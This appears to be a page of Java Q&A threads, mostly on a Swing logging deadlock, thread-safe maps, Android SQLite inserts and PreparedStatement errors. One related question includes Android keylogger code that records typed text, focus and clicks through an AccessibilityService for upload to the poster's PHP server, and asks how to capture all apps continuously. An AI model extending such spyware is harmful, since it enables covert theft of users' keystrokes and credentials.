I have a GUI-based application that takes in a file and displays it to the user in a table format, gets some input in the form of column annotations and a bunch of parameters. Then it parses the file accordingly and initiates an "analysis".
I just found a deadlock, one I have not encountered before.
Found one Java-level deadlock:
=============================
"RMI TCP Connection(5)-130.235.214.23":
waiting to lock monitor 0x00007fac650875e8 (object 0x0000000793267298, a java.util.logging.ConsoleHandler),
which is held by "AWT-EventQueue-0"
"AWT-EventQueue-0":
waiting to lock monitor 0x00007fac65086b98 (object 0x00000006c00dd8d0, a java.io.PrintStream),
which is held by "SwingWorker-pool-1-thread-3"
"SwingWorker-pool-1-thread-3":
waiting to lock monitor 0x00007fac65087538 (object 0x00000006c001db48, a java.awt.Component$AWTTreeLock),
which is held by "AWT-EventQueue-0"
Essentially there is a parsing error and trying to log it hangs the application altogether. Interestingly logging appears to work normally before and after that particular step..
Here's the part of the code that's relevant for the analysis task:
// Activate progress indicator
frame.getMainFrame().activateInfiGlass();
SwingWorker<Map<Analyte,AnalysisResult>, Void> worker = new SwingWorker<Map<Analyte,AnalysisResult>, Void>() {
#Override
protected Map<Analyte,AnalysisResult> doInBackground() {
try {
// register parameters
param.addParam(AnalysisParams.value_key,descPanel.getValueTypeComboIndex());
param.addParam(AnalysisParams.sepchar_key,descPanel.getSepCharComboIndex());
paramPanel.registerParams();
StringBuilder sb = new StringBuilder("Data preview completed, initiating analysis...");
sb.append(System.lineSeparator())
.append("... column annotations: ")
.append(Arrays.toString(annots));
logger.info(sb.toString() + System.lineSeparator());
// Create dataset; to be passed on to SwingWorker which will
// execute the analysis
ds = new Dataset();
String[] line;
for (int i=0; i < data.length; i++){
line = data[i];
// If ignore button is clicked, skip row..
if(!(Boolean) table.getValueAt(i, 0))
ds.addRow(line, annots); // <-- This step is where the parsing exception occurs
}
System.out.println("Dataset parsed...");
logger.info("Dataset parsing complete "
+ System.lineSeparator()
+ ds.toString()
+ System.lineSeparator());
visualizeDataset();
conserv = new ConcurrencyService(ds, dbMan);
conserv.serve();
} catch (InterruptedException e) {
logger.severe("Concurrency service interrupted"
+ System.lineSeparator()
+ DebugToolbox.getStackTraceAsString(e)
+ System.lineSeparator());
System.err.println("Interrupt exception!!");
}
return conserv.getAnalyzedPaths();
}
#Override
protected void done() {
try{
results = get();
visualizeResults();
}
catch (InterruptedException ignore) {}
catch (java.util.concurrent.ExecutionException e) {
String why = null;
Throwable cause = e.getCause();
if (cause != null) {
why = cause.getMessage();
} else {
why = e.getMessage();
}
System.err.println("Error analysing data: " + why);
} catch (SQLException e) {
e.printStackTrace();
}
logger.info("#DEBUG: Conserv should have been terminated by now..." + System.lineSeparator());
frame.getMainFrame().deactivateInfiGlass();
DebugToolbox.stopExecTimer();
}
};
worker.execute();
}});
The parsing of the values happens in an instance of Dataset, using method addRow(). The following piece of code shows the way the parsing error is handled
public double valueToIntensity(String val){
if(val.equalsIgnoreCase(""))
return missingVal;
try{
double d = Double.parseDouble(val);
switch(valType){
case RAW: break;
case LOG2: d = StrictMath.pow(2,d); break;
case LOGN: d = StrictMath.pow(StrictMath.E, d); break;
case LOG10: d = StrictMath.pow(10,d); break;
default: throw new RuntimeException("Unrecognized value type");
}
if(Double.isInfinite(d)){
StringBuilder msg = new StringBuilder("Double precision overflow occurred: 'd' is infinite!!");
msg.append(System.lineSeparator())
.append("chosen value scale is ").append(valType)
.append(System.lineSeparator())
.append("value = ").append(val);
logger.severe(msg.toString() + System.lineSeparator());
System.err.println("Data parsing error!!" +
"Please make sure that you have selected the correct scale...");
System.exit(FeverMainFrame.exitCodes.get(this.getClass()));
}
else
return d;
} catch (NumberFormatException e){
System.err.println("Data parsing error!!");
// THE FOLLOWING LINE IS WHERE DEADLOCK OCCURS
logger.severe("Expected: string representation of a numerical value, "
+ "Found: " + val + System.lineSeparator());
System.err.println("Please make sure the datafile does not include any strings "
+ "like 'N/A' or '-' for denoting missing values.");
System.exit(FeverMainFrame.exitCodes.get(this.getClass()));
}
// TODO: This should never happen!
throw new RuntimeException("Assertion failed during dataset parsing...");
}
If I remove the values that are causing the parsing error, without changing anything else, both the logging framework and the rest of application runs as expected.
I would really appreciate any insight as to what is going on in this particular case.
Absent a complete example, verify that your implementation of doInBackground() does not attempt to update any GUI component or model. Instead, publish() interim results and process() them on the EDT as they become available. A complete example is shown here.
Related
I am not a coder, just tring to learn and understand Java.
I have code for Android Keylogger, which collects keystrokes and send to php file.
I get log also ,but not all, but I want 3 things to working
How I set particular time for getting logs?
How I get all open app/window logs?
How I get continue log? Meaning when Keylogger command is given, it should be continue get logs as timer set
Here is main Java code:
if(onKeylogger) {
try {
DateFormat df = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US);
String time = df.format(Calendar.getInstance().getTime());
switch (event.getEventType()) {//Keylogger
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {
String data = event.getText().toString();
SF.Log("KEY1", time + "|(TEXT)|" + data);
textKeylogger = time + "|(TEXT)|" + data + "|^|";
break;
}
case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
String data = event.getText().toString();
SF.Log("KEY2", time + "|(FOCUSED)|" + data);
textKeylogger = time + "|(FOCUSED)|" + data + "|^|";
break;
}
case AccessibilityEvent.TYPE_VIEW_CLICKED: {
String data = event.getText().toString();
SF.Log("KEY3", time + "|(CLICKED)|" + data);
textKeylogger = time + "|(CLICKED)|" + data + "|^|";
break;
}
default:
break;
}
} catch (Exception ex) {
SF.Log("ERROR1","AccessibilityService");
}
}
AccessibilityNodeInfo nodeInfo = event.getSource();
if (AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED == event.getEventType()) {
try {
//---keylogger---
if (onKeylogger) {
if (textKeylogger.length() > 2) {
writeFile("keys.log", textKeylogger);
}
}
if (SF.SetRead(this, "keylogger").equals("true")) {
onKeylogger = true;
} else {
onKeylogger = false;
}
//---------------//
I get instant log , I tried to changed some code like
(textKeylogger.length() > 2)
to
(textKeylogger.length() > 20)
Sorry, as I am beginner, so may it may silly editing. But not all logs I get at my php file.
Note : these code Grab keystrokes, which generate .txt log file at my server panel.
I am trying to find count of rows in all tables of a database on source and destination, source being Greenplum and destination being Hive(on HDFS).
To do the parallel processing, I have created two threads which calls the methods that calculate the counts on both the ends independently. The code can be seen below:
new Thread(new Runnable() {
#Override
public void run() {
try {
gpTableCount = getGpTableCount();
} catch (SQLException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
}
}).start();
new Thread(new Runnable() {
#Override
public void run() {
try {
hiveTableCount = getHiveTableCount();
} catch (SQLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
}
}).start();
while(!(gpTableCount != null && gpTableCount.size() > 0 && hiveTableCount != null && hiveTableCount.size() > 0)) {
Thread.sleep(5000);
}
The results of both the threads are stored in two separate Java Hashmaps.
Below is the count for calculating the GP counts. Method of calculating Hive counts is same except the database name, hence I just gave one method.
public Map<String,String> getGpTableCount() throws SQLException {
Connection gpAnalyticsCon = (Connection) DbManager.getGpConnection();
while(keySetIterator_gpTableList.hasNext()) {
gpTabSchemakey = keySetIterator_gpTableList.next();
tablesnSSNs = gpTabSchemakey.split(",");
target = tablesnSSNs[1].split(":");
analyticsTable = target[0].split("\\.");
gpCountQuery = "select '" + analyticsTable[1] + "' as TableName, count(*) as Count, source_system_name, max(xx_last_update_tms) from " + tablesnSSNs[0] + " where source_system_name = '" + target[1] + "' group by source_system_name";
try {
gp_pstmnt = gpAnalyticsCon.prepareStatement(gpCountQuery);
ResultSet gpCountRs = gp_pstmnt.executeQuery();
while(gpCountRs.next()) {
gpCountRs.getLong(2) + ", Max GP Tms: " + gpCountRs.getTimestamp(4).toString());
gpDataMap.put(gpCountRs.getString(1) + "," + gpCountRs.getString(3), gpCountRs.getLong(2) + "," + gpCountRs.getTimestamp(4).toString());
}
} catch(org.postgresql.util.PSQLException e) {
e.printStackTrace();
} catch(SQLException e) {
e.printStackTrace();
} catch(Exception e) {
e.printStackTrace();
}
}
System.out.println("GP Connection closed");
gp_pstmnt.close();
gpAnalyticsCon.close();
return gpDataMap;
}
Hive's Method:
public Map<String, String> getHiveTableCount() throws IOException, SQLException {
Connection hiveConnection = DbManager.getHiveConnection();
while(hiveIterator.hasNext()) {
gpHiveRec = hiveIterator.next();
hiveArray = gpHiveRec.split(",");
hiveDetails = hiveArray[1].split(":");
hiveTable = hiveDetails[0].split("\\.");
hiveQuery = "select '" + hiveTable[1] + "' as TableName, count(*) as Count, source_system_name, max(xx_last_update_tms) from " + hiveDetails[0] + " where source_system_name='" + hiveDetails[1] + "' group by source_system_name";
try {
hive_pstmnt = hiveConnection.prepareStatement(hiveQuery);
ResultSet hiveCountRs = hive_pstmnt.executeQuery();
while(hiveCountRs.next()) {
hiveDataMap.put(hiveCountRs.getString(1) + "," + hiveCountRs.getString(3), hiveCountRs.getLong(2) + "," + hiveCountRs.getTimestamp(4).toString());
}
} catch(HiveSQLException e) {
e.printStackTrace();
} catch(SQLException e) {
e.printStackTrace();
} catch(Exception e) {
e.printStackTrace();
}
}
return hiveDataMap;
}
When the jar is submitted, both the threads are launched and the SQL Queries for GP & Hive start executing simultaneously.
But the problem here is, as soon as the thread for GP finishes the execution of the method: getGpTableCount(), I see the print statement: GP Connection closed and the hive's thread hangs for atleast 30mins before resuming.
If checked for locks on Hive tables incase there would be none locked. After 30-40mins, the hive threads starts again and finishes. This happens even for less number of tables (like 20 tables) on hive.
This is how I submit the jar:
/usr/jdk64/jdk1.8.0_112/bin/java -Xdebug -Dsun.security.krb5.debug=true -Djava.security.krb5.conf=/etc/krb5.conf -Djava.security.krb5.realm=PROD.COM -Djava.security.krb5.kdc=ip-xx-xxx-xxx-xxx.ec2.internal -Djavax.security.auth.useSubjectCredsOnly=false -jar /home/etl/ReconTest/ReconAuto_Test_Prod.jar
Could anyone let me know if there is any issue with the way I create threads in the code and how can I fix it ?
Assuming your gpTableCount and hiveTableCount are normal HashMaps, you're running in to synchronization issues.
This is a broad topic to fully explain here, but here's a short intro:
Since they are populated in different threads, your main thread does not 'see' these changes until the memory is synchronized. There's no guarantee when this happens (and it's best to assume it will never happen unless you force it).
To do this properly, either use threadsafe versions (see Collections.synchronizedMap or ConcurrentHashMap), or manually synchronize your checks on the same monitor. (i.e. but the check itself in a synchronized method, and put the code that populated the map in a synchronized method, too). Alternatively, you could put the count itself in two volatile ints, and update those in the other two threads.
I'm getting spurious errors when trying to doInBackground of an AsyncTask which I initiate in MainActivity when the user clicks btnSearch.
Here's the part of doInBackground where I might get no error, might get error after 1 transaction, might get error at record 23001 after 23 transactions. I got returnCode < 0 after trying to insertWord.
private class LoadDatabase extends AsyncTask<Object, Integer, Void
{
protected Void doInBackground(Object[] params)
{
...
my_openDb("DatabaseConnector.LoadDatabase.doInBackground");
while(scDict.hasNext())
{
int kTransactions = 0;
try
{
mDatabase.beginTransaction();
while(kTransactions < MAX_TRANSACTIONS && scDict.hasNext())
{
s = scDict.next();
count++;
long returnCode = insertWord(s); // error here **********
if(returnCode < 0)
{
if(debug) Log.w("`````Abort--can't add <",s + "> at " + count + " with RC = " + returnCode + " and KT = " + kTransactions );
my_closeDb("DatabaseConnector.LoadDatabase.doInBackground DISASTER");//$$
System.exit(0);
}
++ kTransactions;
}
mDatabase.setTransactionSuccessful();
}
catch(Exception e){ Log.w("`````", "Exception " + e.toString()); }
finally
{
mDatabase.endTransaction();
publishProgress((Integer) (int) s.charAt(0));
}
}
my_closeDb("doInBackground outer while ended");
Method insertWord:
long insertWord(String _word)
{
long r = -1;
ContentValues newWord = new ContentValues();
newWord.put(WORD_COLUMN_NAME, _word);
try {
// r = mDatabase.insert (TABLE_NAME,null,newWord);
r = mDatabase.insertWithOnConflict(TABLE_NAME,null,newWord,SQLiteDatabase.CONFLICT_REPLACE);
return r;
} catch (Exception e) {
if(debug)Log.w("DBC", "insert failed for <" + _word + ">");
if(debug)Log.w("DBC", "exception " + e.toString());
my_closeDb(DatabaseConnector.insertWord");
}
return -1 ; // -1 if can't insert
}
The commented out line always worked in the past, until major overhaul to simplify code. (GREAT idea.)(NOT!) I got the idea of insertWithOnConflict from https://developer.android.com/reference/android/database/sqlite/SQLiteDatabase.html where they say insertWithOnConflict is the General method for inserting a row into the database.
Of course I got insert from a text book. AS says it's a convenience method for inserting a row into the database. But it does lack the algorithm for resolving conflicts. There shouldn't be any conflicts. I made the change to insertWithOnConflict when I got errors with insert.
That was probably my first warning that I was on thin ice.
I call DatabaseConnector from MainActivity, which calls inner classes: DatabaseHelper, which calls LoadDatabase and then doInBackground.
I'm not sure I should have an AsyncTask so directly connected to MainActivity because of Answers and comments suggesting concurrence issues might be a problem.
Another suggestion was to put the AsyncTask inside MainActivity. That would mean I'd have to move classes DatabaseConnector and its inner classes there, too. If it all seems overly-complicated, I just followed the big example in a textbook. But you must connect the database to the activity, and you do need help, and if the task MUST run in the background, so it must be AsyncTask, as I understand it.
Call from MainActivity:
dbc = new DatabaseConnector(MainActivity.this, getAssets(), databaseFileExists());
In DatabaseConnector:
public DatabaseConnector(Context _context, AssetManager _assets, boolean dbExists)
{
mContext = _context;
mDbOpenHelper = new DbOpenHelper(_context, DATABASE_NAME, null, 1);
SQLiteDatabase db = mDbOpenHelper.getWritableDatabase();
if( ! dbExists)
createAndOrFillDb(db);
}
createAndOrFillDb:
void createAndOrFillDb(SQLiteDatabase db)
{
...
db.execSQL("CREATE TABLE " + TABLE_NAME + "(" + WORD_COLUMN_NAME + " TEXT primary key );")
//...
cursor = db.query(TABLE_NAME, mColumns, null, null, null, null, WORD_COLUMN_NAME);
//...
LoadDatabase
__loadDb;
__loadDb = new LoadDatabase();
__loadDb.execute((Object[]) null);
}
So my questions are
(1) Do you think I'm getting spurious results during transactions in doInBackground because of it being in a class separate from MainActivity and if so, what can I do about it?
(2) Do you think I should just stick 1200 lines of code into MainActivity, resulting in a 2200-line monster so I won't have to worry about concurrency?
(3) Maybe initiate doInBackground from a thread separate from UI? (No clue how to control that, but I'm willing to try.)
(4) What else might you suggest?
I'm running a program that connects to a device which in turn sends me data.
The data comes in as a String and then I process it accordingly to make an attempt to store it into my database using prepared statements.
I catch a null pointer exception that seems to come from the prepared statements. I figure this to be the problem because the exception goes away when I comment the code. Maybe I don't understand prepared statements as well as I think I do. Any suggestions please?
Here is most of my code:
String[] dataIn = new String[100];
int i, channel, state, theStamp, temp, temp2;
char first, second;
String[] toBinary = new String[100];
StringBuilder sb = new StringBuilder(40);
static String hexToBin(String s) {
return new BigInteger(s, 16).toString(2);
}
public void run() {
// Run as long as the thread is alive
while (this.threadAlive) {
try {
// Attempt to connect to the device.
if (super.connectToDevice()) {
// Send the data command to the device. If it is a test device, send the TIME command, otherwise send the DATA command
if (this.testDevice)
out.println(COMMAND_TIME);
else
out.println(COMMAND_DATA);
// Read and store the data returned from the device
String data = in .readLine();
//******//
System.out.println("The data: " + data);
//Splitting data into array
String criteria = " ";
if (data != null) {
dataIn = data.split(criteria);
toBinary[0] = hexToBin(dataIn[0]);
System.out.println("This is dataIn[0] before binary " + dataIn[0]); //testing
System.out.println("This is toBinary[0] " + toBinary[0]); //testing
temp = 0;
temp2 = 1;
for (i = 1; i < dataIn.length; i++) {
if (i % 2 == 0) {
toBinary[i / 2] = hexToBin(dataIn[i]);
System.out.println("Binary in String: " + toBinary[i / 2]);
try {
PreparedStatement ps = this.db.getConnection().prepareStatement(PreparedStatementStatics.INSERT_C1_DATA);
for (int j = 3; j < 27; j++) {
first = toBinary[temp].charAt(j);
second = toBinary[temp2].charAt(j);
System.out.println("Checkpoint first/second achieved.");
System.out.println("Temp = " + temp);
System.out.println("Temp2 = " + temp2);
if (first == second) {
sb.append(0);
} else {
sb.append(1);
}
//System.out.print("sb appends: " + sb);
}
temp++;
temp2++;
System.out.println("sb turns out to be " + sb);
channel = sb.indexOf("1", 0);
state = toBinary[0].charAt(channel);
System.out.println("Change occurred in channel " + channel);
sb.setLength(0);
ps.setInt(1, channel);
ps.setInt(2, state);
ps.addBatch();
ps.executeBatch();
ps.close();
ps = null;
} catch (NullPointerException ex) {
System.out.println("Null Pointer Exception: Not enough data this time through");
} catch (StringIndexOutOfBoundsException ex) {
System.out.println("Out of Bounds Exception");
} catch (SQLException e) {
System.out.println("Something is wrong with SQL");
e.printStackTrace();
}
} else {
System.out.println("This should be a timestamp: " + dataIn[i]);
}
}
}
UPDATE
Here is my console log when I run the code:
The data: 5ABFE000 2556923 52BFE000 2556b6a 5ABFE000 2556dfb 4ABFE000 2556f8e 4AB7E000 25570da 4ABFE000 2557225 4ABDE000 255739e 4ABFE000 255765a 4ABFA000 2557844 4ABF2000 2557959 4ABFA000 2557b36 4ABFE000 2557bc2 4ABFA000 2557d3f 4ABF8000 2557dc3 4ABFC000 2557f90 4ABFE000 2558013 4AB7E000 25582fa 4AA7E000 2558487 4AB7E000 25586f0 4ABFE000 2558772
This is dataIn[0] before binary 5ABFE000
This is toBinary[0] 1011010101111111110000000000000
This should be a timestamp: 2556923
Binary in String: 1010010101111111110000000000000
Null Pointer Exception: Not enough data this time through
This should be a timestamp: 2556b6a
Binary in String: 1011010101111111110000000000000
Null Pointer Exception: Not enough data this time through
This should be a timestamp: 2556dfb
Binary in String: 1001010101111111110000000000000
Null Pointer Exception: Not enough data this time through
This should be a timestamp: 2556f8e
Binary in String: 1001010101101111110000000000000
Null Pointer Exception: Not enough data this time through
This should be a timestamp: 25570da
Binary in String: 1001010101111111110000000000000
Null Pointer Exception: Not enough data this time through
This should be a timestamp: 2557225
Binary in String: 1001010101111011110000000000000
Null Pointer Exception: Not enough data this time through
This should be a timestamp: 255739e
Binary in String: 1001010101111111110000000000000
Null Pointer Exception: Not enough data this time through
This should be a timestamp: 255765a
Binary in String: 1001010101111111010000000000000
Null Pointer Exception: Not enough data this time through
This should be a timestamp: 2557844
Binary in String: 1001010101111110010000000000000
Null Pointer Exception: Not enough data this time through
Can you please break the statements as shown below, if possible please post your complete code. at least the db part.
To write it in a simplified manner. its easier to debug in your case.
Connection con=DriverManager.getConnection(DB_URL,USER,PASS);
String sql = "Your Query";
PreparedStatement ps= conn.prepareStatement(sql);
ps.setXXX;--> binding values
ps.setXXX;
I've got the following code snippet that I'm thinking of refactoring to a more abstract application exception handler but I want to make sure I've got it as tidy as possible first
Any suggestions on how to improve this code or make it more resuable
int id = -1;
final StringBuilder errorMessage = new StringBuilder("Bad Input Value: ");
try {
id = Integer.parseInt(edtId.getText().toString());
} catch (final NumberFormatException e) {
errorMessage.append("Failed to parse id " + e.getMessage());
}
if (id < 0) {
errorToast(errorMessage.toString());
} else {
//go ahead an retreive values from database knowing the id has been parsed
//correctly to a positive int.
}
Why pre-assign id to a magic number?
try {
int id=Integer.parseInt(edtId.getText().toString());
//go on as normal
} catch (NumberFormatException e) {
//handle error
}